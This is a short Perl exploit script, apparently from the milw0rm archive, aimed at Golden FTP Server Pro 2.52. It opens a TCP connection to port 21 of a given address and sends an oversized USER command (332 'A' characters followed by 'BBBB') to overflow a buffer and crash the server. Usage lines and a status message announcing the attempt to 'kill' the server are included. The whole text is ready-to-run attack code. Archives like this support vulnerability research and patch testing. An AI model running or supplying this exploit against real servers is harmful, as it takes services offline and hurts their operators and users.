Golden FTP Server Pro <= 2.52 (USER) Remote Buffer Overflow Exploit

#===== Start GoldenFTPServer_Overflow.pl ===== # # Usage: GoldenFTPServer_Overflow.pl &#60;ip&#62; # GoldenFTPServer_Overflow.pl 127.0.0.1 # # KMiNT21 Software Golden FTP Server Pro v2.52 (10.04.2005) # # Download: # http://www.goldenftpserver.com/ # ########################################################### use IO::Socket; use strict; my($socket) = &#34;&#34;; if ($socket = IO::Socket::INET-&#62;new(PeerAddr =&#62; $ARGV[0], PeerPort =&#62; &#34;21&#34;, Proto =&#62; &#34;TCP&#34;)) { print &#34;Attempting to kill Golden FTP Server at $ARGV[0]:21...&#34;; sleep(1); print $socket &#34;USER &#34; . &#34;A&#34; x 332 . &#34;BBBB\r\n&#34;; sleep(1); print $socket &#34;PASS &#34; . &#34;\r\n&#34;; close($socket); } else { print &#34;Cannot connect to $ARGV[0]:21\n&#34;; } #===== End GoldenFTPServer_Overflow.pl ===== # milw0rm.com [2005-04-27]